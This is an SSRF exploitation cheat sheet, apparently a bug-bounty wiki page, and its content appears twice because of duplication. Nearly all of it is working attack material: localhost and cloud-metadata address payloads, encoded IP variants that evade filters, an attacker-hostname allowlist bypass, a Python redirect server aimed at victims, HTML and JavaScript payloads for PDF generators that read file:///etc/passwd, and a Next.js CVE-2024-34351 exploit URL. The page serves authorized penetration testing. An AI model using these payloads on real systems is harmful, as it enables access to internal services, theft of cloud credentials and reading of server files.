SSRF

Detection - Vulnerable Parameters

?dest={target}
?redirect={target}
?uri={target}
?path={target}
?continue={target}
?url={target}
?window={target}
?next={target}
?data={target}
?reference={target}
?site={target}
?html={target}
?val={target}
?validate={target}
?domain={target}
?callback={target}
?return={target}
?page={target}
?feed={target}
?host={target}
?port={target}
?to={target}
?out={target}
?view={target}
?dir={target}
?show={target}
?navigation={target}

Basic payload

http://127.0.0.1

127.0.0.1:80
127.0.0.1:443
127.0.0.1:22
127.1:80
0
0.0.0.0:80
localhost:80
[::]:80/
[::]:25/ SMTP
[::]:3128/ Squid
[0000::1]:80/
[0:0:0:0:0:ffff:127.0.0.1]/thefile
①②⑦.⓪.⓪.⓪
127.127.127.127
127.0.1.3
127.0.0.0
2130706433/
017700000001
3232235521/
3232235777/
0x7f000001/
0xc0a80014/
{domain}@127
.0.0.1
127.0.0.1#{domain}
{domain}.127.0.0.1
127.0.0.1/{domain}
127.0.0.1/?d={domain}
{domain}@127
.0.0.1
127.0.0.1#{domain}
{domain}.127.0.0.1
127.0.0.1/{domain}
127.0.0.1/?d={domain}
{domain}@localhost

localhost#{domain}
{domain}.localhost
localhost/{domain}
localhost/?d={domain}
127.0.0.1%00{domain}
127.0.0.1?{domain}
127.0.0.1///{domain}
127.0.0.1%00{domain}
127.0.0.1?{domain}
127.0.0.1///{domain}st:+11211aaa
st:00011211aaaa
0/
127.1
127.0.1
1.1.1.1 &@2.2.2.2# @3
.3.3.3/
127.1.1.1:80\\@127
.2.2.2:80/
127.1.1.1:80\\@@127
.2.2.2:80/
127.1.1.1:80:\\@@127
.2.2.2:80/
127.1.1.1:80#\\@127
.2.2.2:80/

Paylod List

Finding SSRF with Burp

Match: https?:\/\/(www\.)?[-a-zA-Z0–9@:%._\+~#=]{1,256}\.[a-zA-Z0–9()]{1,6}\b([-a-zA-Z0–9()@:%_\+.~#?&//=]*)

Replace: https://{YOUR_SERVER}/ (Burp Collaborator)

Source: https://x.com/intigriti/status/1848288871735320916?t=bTTpk3N1LoqLpO1768DhQw&s=03

Port scan

http://127.0.0.1:§80§

Filter Bypass

Burp extension

Decimal notation

http://2130706433 equals http://127.0.0.1.

Other notation

127.1 equals 127.0.0.1

IPFuscator
Author: Vincent Yiu (@vysecurity)
https://www.github.com/vysec/IPFuscator
Version: 0.1.0

IP Address:     127.0.0.1

Decimal:        2130706433
Hexadecimal:    0x7f000001
Octal:          017700000001

Full Hex:       0x7f.0x0.0x0.0x1
Full Oct:       0177.0.0.01

Random Padding:
Hex:    0x000000000007f.0x000000000000000000000000000000.0x0000.0x0000000000000000000000001
Oct:    00000000000000000000000177.000000000000000000.00000000000000000000000000000.000001

Random base:
#1:     0x7f.0x0.0.01
#2:     0x7f.0x0.0x0.1
#3:     0177.0x0.0x0.0x1
#4:     0x7f.0.0.01
#5:     127.0x0.0.0x1

Random base with random padding:
#1:     127.0x00000000.000000.000000000000000001
#2:     127.0x0000000000000.0x00000000000000000000000000000.0001
#3:     0000000000000000177.0x0000000000000000000000.0x00000000000000000000000000.1
#4:     0000000000000000000177.0.000000.1
#5:     127.0000000000000000000000.0x0000000000000000000.000000000000000000000000000001

1%32%37.0.0.%31
12%37.%30.%30.%31
%31%327.%30.0.%31
%31%327.%30.%30.1
12%37.0.%30.1
127.%30.%30.%31
1%32%37.0.%30.1
%3127.0.0.%31
%31%32%37.0.%30.%31
1%32%37.%30.0.1
%31%32%37.0.0.%31
%31%32%37.%30.0.%31
%312%37.0.%30.1
%312%37.0.%30.%31
127.0.%30.%31
%31%32%37.0.0.1
1%327.%30.%30.1
%312%37.%30.0.1
%31%32%37.0.%30.1
1%327.%30.0.%31
127.%30.0.%31
%31%327.0.0.%31
127.%30.%30.1
%3127.0.%30.%31
%31%327.%30.%30.%31
1%32%37.%30.%30.1
%3127.%30.%30.1
%31%327.0.%30.1
12%37.%30.0.%31
12%37.%30.%30.1
%312%37.%30.%30.1
1%32%37.0.%30.%31
%31%32%37.%30.0.1
%312%37.0.0.%31
12%37.0.%30.%31
%312%37.%30.0.%31
1%32%37.%30.0.%31
%3127.%30.0.%31
%3127.0.%30.1
%312%37.%30.%30.%31
%31%327.0.%30.%31
1%327.0.%30.%31
1%327.%30.%30.%31

More payload: https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass

Use your own server to redirect on localhost

redirector.py:

#!/usr/bin/env python3

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2: 
    print("""
Usage: {} <port_number> <url> 
    """.format(sys.argv[0]))
    sys.exit()
    
class Redirect(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302) 
        self.send_header('Location', sys.argv[2]) 
        self.end_headers() 
    def send_error(self, code, message=None): 
        self.send_response(302) 
        self.send_header('Location', sys.argv[2]) 
        self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

Run redirector server:

python3 redirector.py 80 http://127.0.0.1

Vicitim payload: http://[YOUR_IP]

DNS Rebinding

Also try 127.0.0.1 and 169.254.169.254

More payloads

Also check Paylaod List

Cloud Metadata IP

169.254.169.254 
169.254.43518 
169.16689662
0xA9.254.0251.0376

URL / Host Validation Bypass

https://assets.example.com.attacker.com/

Replace "{CANARY_TOKEN}" with your controlled hostname and replace "example.com" with a whitelisted target host.

.{CANARY_TOKEN}
@{CANARY_TOKEN}
example.com.{CANARY_TOKEN}
example.com@{CANARY_TOKEN}
example.comx.{CANARY_TOKEN}
{CANARY_TOKEN}#example.com
{CANARY_TOKEN}?example.com
{CANARY_TOKEN}#@example.com
{CANARY_TOKEN}?@example.com
127.0.0.1.nip.io
example.com.127.0.0.1.nip.io
127.1
localhost.me

Bypassing protocol whitelists

//{CANARY_TOKEN}
\\{CANARY_TOKEN}
////{CANARY_TOKEN}
\\\\{CANARY_TOKEN}
http:{CANARY_TOKEN}
https:{CANARY_TOKEN}
/%00/{CANARY_TOKEN}
/%0A/{CANARY_TOKEN}
/%OD/{CANARY_TOKEN}
/%09/{CANARY_TOKEN}

Gopher

Blind SSRF with OOB

See Use your own server to redirect on localhost

Platform to receive HTTP & DNS callbacks for SSRF (Blind) - interactsh

SSRF (XSS) in PDF Generator

<iframe src="http://localhost/"></iframe>

<iframe src=file:///etc/passwd></iframe>

<!-- Using XHR -->
<script>var x=new XMLHttpRequest();x.onload=(()=>document.write(this.responseText));x.open('GET','http://127.0.0.1');x.send();</script>

<!-- Using Fetch -->
<script>fetch('http://127.0.0.1').then(async r=>document.write(await r.text()))</script>

<!-- Using embed -->
<embed src="http://127.0.0.1" />

<!-- Using base HTML tag -->
<base href="http://127.0.0.1" />

<!-- Loading external stylesheet/script -->
<link rel="stylesheet" src="http://127.0.0.1" />
<script src="http://127.0.0.1"></script>

<!-- Meta-tag to auto-refresh page -->
<meta http-equiv="refresh" content="0; url=http://127.0.0.1/" />

<!-- Loading external image -->
<img src="http://127.0.0.1" />

<!-- Loading external SVG -->
<svg src="http://127.0.0.1" />

<!-- Useful to bypass blacklists -->
<input type="image" src="http://127.0.0.1" />
<video src="http://127.0.0.1" />
<audio src="http://127.0.0.1" />
<audio><source src="http://127.0.0.1"/></audio>

<script>
  var x = new XMLHttpRequest();
  x.onload=function(){ document.write(this.responseText) };
  x.open('GET','http://127.0.0.1'); // You can also read local system files such as "/etc/passwd"
  x.send();
</script>

<script>
  var x = new XMLHttpRequest();
  x.onload=function(){ document.write(this.responseText) };
  x.open("GET","file:///etc/passwd"); x.send();
</script>

Some PDF generators rely on the Chromium web browser without sandbox security enabled and with root privileges. This can often be further escalated to remote code execution!

NextJS apps

CVE-2024-34351 - fixed in v14.1.1.

https://example.com/_next/image?url=https://localhost:2345/api/v1/x&w=256&q=75

https://example.com/_next/image?url=https://third-party.com/logout%3furl%3Dhttps%3A%2F%2Flocalhost%3A2345%2Fapi%2Fv1%2Fx&w=256&q=75

Tools

SSRFmap

Autossrf

0dSSRF

SSRFPwned

Resources

PreviousCSTI NextCSRF

Last updated 1 month ago

Was this helpful?

SSRF

Detection - Vulnerable Parameters

?dest={target}
?redirect={target}
?uri={target}
?path={target}
?continue={target}
?url={target}
?window={target}
?next={target}
?data={target}
?reference={target}
?site={target}
?html={target}
?val={target}
?validate={target}
?domain={target}
?callback={target}
?return={target}
?page={target}
?feed={target}
?host={target}
?port={target}
?to={target}
?out={target}
?view={target}
?dir={target}
?show={target}
?navigation={target}

SSRF vulnerabilities and where to find them - Labs DetectifyLabs Detectify

GitHub - MindPatch/lorsrf: Fast CLI tool to find the parameters that can be used to find SSRF or Out-of-band resource load :crab:GitHub

Basic payload

http://127.0.0.1

127.0.0.1:80
127.0.0.1:443
127.0.0.1:22
127.1:80
0
0.0.0.0:80
localhost:80
[::]:80/
[::]:25/ SMTP
[::]:3128/ Squid
[0000::1]:80/
[0:0:0:0:0:ffff:127.0.0.1]/thefile
①②⑦.⓪.⓪.⓪
127.127.127.127
127.0.1.3
127.0.0.0
2130706433/
017700000001
3232235521/
3232235777/
0x7f000001/
0xc0a80014/
{domain}@127
.0.0.1
127.0.0.1#{domain}
{domain}.127.0.0.1
127.0.0.1/{domain}
127.0.0.1/?d={domain}
{domain}@127
.0.0.1
127.0.0.1#{domain}
{domain}.127.0.0.1
127.0.0.1/{domain}
127.0.0.1/?d={domain}
{domain}@localhost

localhost#{domain}
{domain}.localhost
localhost/{domain}
localhost/?d={domain}
127.0.0.1%00{domain}
127.0.0.1?{domain}
127.0.0.1///{domain}
127.0.0.1%00{domain}
127.0.0.1?{domain}
127.0.0.1///{domain}st:+11211aaa
st:00011211aaaa
0/
127.1
127.0.1
1.1.1.1 &@2.2.2.2# @3
.3.3.3/
127.1.1.1:80\\@127
.2.2.2:80/
127.1.1.1:80\\@@127
.2.2.2:80/
127.1.1.1:80:\\@@127
.2.2.2:80/
127.1.1.1:80#\\@127
.2.2.2:80/

Paylod List

payloads/ssrf.txt at main · coffinxp/payloadsGitHub

Finding SSRF with Burp

Match: https?:\/\/(www\.)?[-a-zA-Z0–9@:%._\+~#=]{1,256}\.[a-zA-Z0–9()]{1,6}\b([-a-zA-Z0–9()@:%_\+.~#?&//=]*)

Replace: https://{YOUR_SERVER}/ (Burp Collaborator)

Source: https://x.com/intigriti/status/1848288871735320916?t=bTTpk3N1LoqLpO1768DhQw&s=03

Bug Bounty tip Automating SSRFMedium

Port scan

http://127.0.0.1:§80§

Filter Bypass

URL Format BypassHackTricks

Burp extension

GitHub - hackerassociate/SSRF-Hacks-IP-Decimal: A Burp Suite extension that converts IP addresses to decimal notation, useful for SSRF bypass and WAF evasion testing. Created by Harshad Shah.GitHub

Decimal notation

http://2130706433 equals http://127.0.0.1.

SSRF payloadsMedium

Other notation

127.1 equals 127.0.0.1

GitHub - vysecurity/IPFuscator: IPFuscator - A tool to automatically generate alternative IP representationsGitHub

IPFuscator
Author: Vincent Yiu (@vysecurity)
https://www.github.com/vysec/IPFuscator
Version: 0.1.0

IP Address:     127.0.0.1

Decimal:        2130706433
Hexadecimal:    0x7f000001
Octal:          017700000001

Full Hex:       0x7f.0x0.0x0.0x1
Full Oct:       0177.0.0.01

Random Padding:
Hex:    0x000000000007f.0x000000000000000000000000000000.0x0000.0x0000000000000000000000001
Oct:    00000000000000000000000177.000000000000000000.00000000000000000000000000000.000001

Random base:
#1:     0x7f.0x0.0.01
#2:     0x7f.0x0.0x0.1
#3:     0177.0x0.0x0.0x1
#4:     0x7f.0.0.01
#5:     127.0x0.0.0x1

Random base with random padding:
#1:     127.0x00000000.000000.000000000000000001
#2:     127.0x0000000000000.0x00000000000000000000000000000.0001
#3:     0000000000000000177.0x0000000000000000000000.0x00000000000000000000000000.1
#4:     0000000000000000000177.0.000000.1
#5:     127.0000000000000000000000.0x0000000000000000000.000000000000000000000000000001

GitHub - whiteSHADOW1234/MorphURL: ⚔️ A command-line tool for IP address and URL obfuscation/de-obfuscation, providing diverse techniques for enhanced privacy and security.GitHub

1%32%37.0.0.%31
12%37.%30.%30.%31
%31%327.%30.0.%31
%31%327.%30.%30.1
12%37.0.%30.1
127.%30.%30.%31
1%32%37.0.%30.1
%3127.0.0.%31
%31%32%37.0.%30.%31
1%32%37.%30.0.1
%31%32%37.0.0.%31
%31%32%37.%30.0.%31
%312%37.0.%30.1
%312%37.0.%30.%31
127.0.%30.%31
%31%32%37.0.0.1
1%327.%30.%30.1
%312%37.%30.0.1
%31%32%37.0.%30.1
1%327.%30.0.%31
127.%30.0.%31
%31%327.0.0.%31
127.%30.%30.1
%3127.0.%30.%31
%31%327.%30.%30.%31
1%32%37.%30.%30.1
%3127.%30.%30.1
%31%327.0.%30.1
12%37.%30.0.%31
12%37.%30.%30.1
%312%37.%30.%30.1
1%32%37.0.%30.%31
%31%32%37.%30.0.1
%312%37.0.0.%31
12%37.0.%30.%31
%312%37.%30.0.%31
1%32%37.%30.0.%31
%3127.%30.0.%31
%3127.0.%30.1
%312%37.%30.%30.%31
%31%327.0.%30.%31
1%327.0.%30.%31
1%327.%30.%30.%31

More payload: https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass

Use your own server to redirect on localhost

Just Gopher It: Escalating a Blind SSRF to RCE for $15k — Yahoo MailMedium

redirector.py:

#!/usr/bin/env python3

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2: 
    print("""
Usage: {} <port_number> <url> 
    """.format(sys.argv[0]))
    sys.exit()
    
class Redirect(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302) 
        self.send_header('Location', sys.argv[2]) 
        self.end_headers() 
    def send_error(self, code, message=None): 
        self.send_response(302) 
        self.send_header('Location', sys.argv[2]) 
        self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

Run redirector server:

python3 redirector.py 80 http://127.0.0.1

Vicitim payload: http://[YOUR_IP]

DNS Rebinding

rbndr.us dns rebinding service

Also try 127.0.0.1 and 169.254.169.254

Bypassing Filters: SSRF Exploitation via DNS Rebinding with Just 1 in 30 Successful RequestsMedium

Using Wayback And DNS rebinding For SSRFMedium

Server-side Request Forgery (SSRF) via DNS Rebinding AttackSecureLayer7 - Offensive Security, API Scanner & Attack Surface Management

Bypassing Filters: SSRF Exploitation via DNS Rebinding with Just 1 in 30 Successful RequestsMedium

More payloads

Also check Paylaod List

Cloud Metadata IP

169.254.169.254 
169.254.43518 
169.16689662
0xA9.254.0251.0376

New crazy payloads in the URL Validation Bypass Cheat SheetPortSwigger Research

URL / Host Validation Bypass

FreeDNS - Free subdomain AND domain hosting!

https://assets.example.com.attacker.com/

Replace "{CANARY_TOKEN}" with your controlled hostname and replace "example.com" with a whitelisted target host.

.{CANARY_TOKEN}
@{CANARY_TOKEN}
example.com.{CANARY_TOKEN}
example.com@{CANARY_TOKEN}
example.comx.{CANARY_TOKEN}
{CANARY_TOKEN}#example.com
{CANARY_TOKEN}?example.com
{CANARY_TOKEN}#@example.com
{CANARY_TOKEN}?@example.com
127.0.0.1.nip.io
example.com.127.0.0.1.nip.io
127.1
localhost.me

URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security AcademyWebSecAcademy

Bypassing protocol whitelists

//{CANARY_TOKEN}
\\{CANARY_TOKEN}
////{CANARY_TOKEN}
\\\\{CANARY_TOKEN}
http:{CANARY_TOKEN}
https:{CANARY_TOKEN}
/%00/{CANARY_TOKEN}
/%0A/{CANARY_TOKEN}
/%OD/{CANARY_TOKEN}
/%09/{CANARY_TOKEN}

Gopher

How Gopher works in escalating SSRFsInfoSec Write-ups

GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various serversGitHub

Blind SSRF with OOB

GitHub - assetnote/blind-ssrf-chains: An exhaustive list of all the possible ways you can chain your Blind SSRF vulnerabilityGitHub

Exploit Blind SSRF with OOB Techniques - TCM SecurityTCM Security - Penetration Testing & Consulting

See Use your own server to redirect on localhost

Platform to receive HTTP & DNS callbacks for SSRF (Blind) - interactsh

GitHub - projectdiscovery/interactsh: An OOB interaction gathering server and client libraryGitHub

SSRF (XSS) in PDF Generator

XSS

<iframe src="http://localhost/"></iframe>

<iframe src=file:///etc/passwd></iframe>

<!-- Using XHR -->
<script>var x=new XMLHttpRequest();x.onload=(()=>document.write(this.responseText));x.open('GET','http://127.0.0.1');x.send();</script>

<!-- Using Fetch -->
<script>fetch('http://127.0.0.1').then(async r=>document.write(await r.text()))</script>

<!-- Using embed -->
<embed src="http://127.0.0.1" />

<!-- Using base HTML tag -->
<base href="http://127.0.0.1" />

<!-- Loading external stylesheet/script -->
<link rel="stylesheet" src="http://127.0.0.1" />
<script src="http://127.0.0.1"></script>

<!-- Meta-tag to auto-refresh page -->
<meta http-equiv="refresh" content="0; url=http://127.0.0.1/" />

<!-- Loading external image -->
<img src="http://127.0.0.1" />

<!-- Loading external SVG -->
<svg src="http://127.0.0.1" />

<!-- Useful to bypass blacklists -->
<input type="image" src="http://127.0.0.1" />
<video src="http://127.0.0.1" />
<audio src="http://127.0.0.1" />
<audio><source src="http://127.0.0.1"/></audio>

<script>
  var x = new XMLHttpRequest();
  x.onload=function(){ document.write(this.responseText) };
  x.open('GET','http://127.0.0.1'); // You can also read local system files such as "/etc/passwd"
  x.send();
</script>

<script>
  var x = new XMLHttpRequest();
  x.onload=function(){ document.write(this.responseText) };
  x.open("GET","file:///etc/passwd"); x.send();
</script>

Some PDF generators rely on the Chromium web browser without sandbox security enabled and with root privileges. This can often be further escalated to remote code execution!

Hunting for SSRF Bugs in PDF Generators - Black Hills Information SecurityBlack Hills Information Security

Exploiting SSRF in PDF HTML Injection: Basic and BlindInfoSec Write-ups

Exploiting PDF generators: A complete guide to finding SSRF vulnerabilities in PDF generatorsIntigriti

NextJS apps

CVE-2024-34351 - fixed in v14.1.1.

https://example.com/_next/image?url=https://localhost:2345/api/v1/x&w=256&q=75

https://example.com/_next/image?url=https://third-party.com/logout%3furl%3Dhttps%3A%2F%2Flocalhost%3A2345%2Fapi%2Fv1%2Fx&w=256&q=75

Digging for SSRF in NextJS apps

Tools

SSRFmap

GitHub - swisskyrepo/SSRFmap: Automatic SSRF fuzzer and exploitation toolGitHub

Autossrf

0dSSRF

GitHub - KariiemGamal/0dSSRF: a powerful tool designed to automate the detection of Server-Side Request Forgery (SSRF) and Open Redirect vulnerabilitiesGitHub

SSRFPwned

GitHub - blackhatethicalhacking/SSRFPwned: Checks for SSRF using built-in custom Payloads after fetching URLs from Multiple Passive Sources & applying complex patterns aimed at SSRFGitHub

Resources

Bug-Bounty-Methodology/Server Side Request Forgery.md at main · trilokdhaked/Bug-Bounty-MethodologyGitHub

SSRF: A complete guide to exploiting advanced SSRF vulnerabilitiesIntigriti

How To: Server-Side Request Forgery (SSRF)HackerOne

SSRF Cheat Sheet & Bypass Techniques

A10 Falsification de requête côté serveur (SSRF) - OWASP Top 10:2021

What is SSRF (Server-side request forgery)? Tutorial & Examples | Web Security AcademyWebSecAcademy

Server-Side Request Forgery (SSRF) | Common Attacks & Risks | ImpervaLearning Center

Server Side Request Forgery Prevention - OWASP Cheat Sheet Series

Server-Side Request Forgery (SSRF)Intigriti

I Studied 100+ SSRF Reports, and Here’s What I LearnedInfoSec Write-ups

PreviousCSTI NextCSRF

Last updated 1 month ago

Was this helpful?